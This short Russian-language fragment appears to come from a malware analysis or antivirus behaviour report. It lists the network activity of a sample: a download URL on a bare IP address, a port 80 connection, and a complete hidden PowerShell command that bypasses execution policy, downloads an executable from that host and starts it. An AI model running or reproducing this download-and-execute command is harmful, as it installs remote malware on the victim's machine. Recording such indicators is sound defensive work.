Техническая информация
- http://5.154.191.170/software.exe как softwarex32.exe
- '5.###.191.170':80
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://5.154.191.170/software.exe','softwarex32.exe'); Start-Process softwarex32.exe' (со скрытым окном)